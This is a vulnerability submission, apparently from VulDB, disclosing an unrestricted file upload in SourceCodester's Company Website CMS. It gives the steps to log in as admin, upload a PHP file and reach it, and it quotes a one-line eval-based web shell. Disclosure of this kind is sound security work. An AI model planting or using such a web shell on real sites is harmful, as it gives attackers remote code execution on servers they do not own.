| Title | Company Website CMS File upload getshell |
|---|
| Description | Login in as admin, then go to /dashboard/createportfolio
File uploading is not filtered, and uploading a sentence is caused by a Trojan horse getshell
upload an evil .php
https://github.com/Drun1baby/CVE_Pentest/blob/main/Company-Website-CMS/images/upload.png?raw=true
upload shell like this
```php
<?php @eval($_POST['shell']);?>
```
then we can see it in /portfolio.php
https://github.com/Drun1baby/CVE_Pentest/blob/main/Company-Website-CMS/images/Ant.png
It makes sense
https://github.com/Drun1baby/CVE_Pentest/blob/main/Company-Website-CMS/images/SuccessAnt.png
https://github.com/Drun1baby/CVE_Pentest/blob/main/Company-Website-CMS/images/Shell.png
The website source is https://www.sourcecodester.com/download-code?nid=15517&title=Company+Website+CMS+in+PHP+and+MySQL+Free+Source+Code |
|---|
| Source | ⚠️ https://www.sourcecodester.com/download-code?nid=15517&title=Company+Website+CMS+in+PHP+and+MySQL+Free+Source+Code |
|---|
| User | Drunkbaby (UID 30821) |
|---|
| Submission | 08/10/2022 09:06 (4 years ago) |
|---|
| Moderation | 08/11/2022 11:22 (1 day later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 206024 [SourceCodester Company Website CMS add-portfolio.php ufile unrestricted upload] |
|---|
| Points | 0 |
|---|